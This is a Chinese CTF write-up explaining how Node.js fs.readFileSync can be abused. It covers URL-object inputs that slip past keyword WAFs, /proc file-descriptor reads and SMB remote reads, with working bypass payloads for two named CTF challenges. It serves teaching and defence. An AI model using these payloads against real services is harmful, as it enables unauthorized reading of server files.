fs.readFileSync的利用
字数 1858 2025-08-06 18:07:51
fs.readFileSync 的利用方法深度解析
0x00 前言
本文详细分析 Node.js 中 fs.readFileSync 函数的特殊利用方法,这些技术在 corCTF2022-simplewaf 和 2022 祥云杯-RustWaf 等 CTF 比赛中出现。实际上,这些利用方法的核心在于 fs.openSync 函数的行为。
0x01 函数基础
fs.readFileSync 官方文档要点
fs.readFileSync 支持四种路径格式:
- 字符串类型 - 常规文件名指定方式
- Buffer 类型 - buffer 缓冲区
- Int 整型 - 读取对应的文件描述符
- URL 类型 - URL 对象或对应格式的数组
函数执行流程
- 检查传入的
path是否为文件描述符(Int) - 如果不是则通过
fs.openSync打开文件获取文件描述符 - 获取文件属性信息
- 检查是否为常规文件并获取大小
- 创建读取缓冲区
- 读取文件内容
- 关闭文件描述符
- 返回读取内容
0x02 URL 数组绕过关键字
关键点分析
利用的核心在于 fs.openSync 处理 URL 类型路径时的解析过程,特别是 getValidatedPath 和 fileURLToPath 函数的行为。
fileURLToPath 关键逻辑
- 检查
fileURLOrPath对象:- 不能为空
- 必须包含
href属性 - 必须包含
origin属性
- 如果满足条件,将对象视为 URL 对象处理
- 检查
protocol必须为file: - 根据操作系统调用
getPathFromURLWin32或getPathFromURLPosix
getPathFromURLPosix (Linux)
url.hostname必须为空url.pathname不能包含%2f、%2F、%5c或%5C- 使用
decodeURIComponent解析pathname
getPathFromURLWin32 (Windows)
pathname不能包含\或/的 URL 编码- 将
pathname中的/替换为\ - 使用
decodeURIComponent解码 - 如果
hostname非空,返回\\${domainToUnicode(hostname)}${pathname} - 对于本地路径:
- 第二个字符必须是字母 a-zA-Z
- 第三个字符必须是
: - 丢弃第一个字符作为文件路径
绕过方法
构造满足以下条件的对象:
- 包含
href且非空 - 包含
origin且非空 protocol等于file:hostname为空(Windows 下非空会进行远程加载)pathname非空(读取的文件路径)
利用 pathname 会被 URL 解码的特性,可以使用 URL 编码绕过关键字检测(但不能包含 \/ 的 URL 编码)。
示例:
{
"protocol": "file:",
"href": "1",
"origin": "1",
"pathname": "/%66%6c%61%67",
"hostname": ""
}
0x03 文件描述符读取
利用原理
- 文件打开后会在
/proc下生成文件描述符 - 可以直接传入 Int 类型读取对应的描述符资源
- 利用条件竞争可以访问临时打开的文件
示例代码
const fs = require("fs")
while(1){
console.log("Start---");
console.log(fs.readdirSync("/proc/self/fd"));
console.log(fs.readFileSync("/proc/self/status").toString());
}
0x04 读取远程文件
Windows 下的 SMB 文件读取
- 通过 URL 数组格式或 String 格式均可读取
- 需要目标开启 SMB 服务
示例:
const fs = require("fs");
// String 格式
console.log(fs.readFileSync("\\\\192.168.92.128/evilsmb/flag").toString())
// URL 对象格式
var file = {
"protocol": "file:",
"href": "1",
"origin": "1",
"pathname": "/evilsmb/flag",
"hostname": "192.168.92.128"
};
console.log(fs.readFileSync(file).toString())
Linux 下的限制
- URL 对象不允许定义
hostname - 直接指定 SMB 文件路径也会失败
- 可能与 Linux 默认不支持 SMB 访问有关
0x05 实际应用案例
corCTF2022-simplewaf
题目代码:
app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
}
catch(err) {
console.log(err);
}
});
WAF 限制:
if([req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)) {
return res.send("bad hacker!");
}
Payload:
?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/app/%66%6c%61%67.txt
2022 祥云杯-rustWaf
题目代码:
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('./rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
Rust WAF 限制:
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc") {
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if json_body_obj.keys().any(|key| key == "protocol") {
return String::from("./main.rs");
}
}
绕过方法:
- 利用 UTF-16 编码差异:
{
"protocol": "file:",
"\uD800": "",
"href": "1",
"origin": "1",
"pathname": "/%66%6c%61%67",
"hostname": ""
}
- 利用数组结构:
[
"file:",
"1",
"1",
"/%66%6c%61%67",
""
]
- 二次 Unicode 编码:
{
"protocol": "file:",
"\uD800": "",
"href": "1",
"origin": "1",
"pathname": "/\u0066\u006c\u0061\u0067",
"hostname": ""
}
- 数组+Unicode:
[
"file:",
"1",
"1",
"/\u0066\u006c\u0061\u0067",
""
]
总结
- URL 解码绕过关键字:利用
pathname的 URL 解码特性 - 文件描述符读取:通过
/proc文件系统或直接传入描述符 - 远程文件读取:Windows 下通过 SMB 协议
- 实际应用中需要考虑 WAF 的差异和绕过方法
这些技术在实际渗透测试和 CTF 比赛中都有应用价值,理解其原理可以更好地防御此类攻击。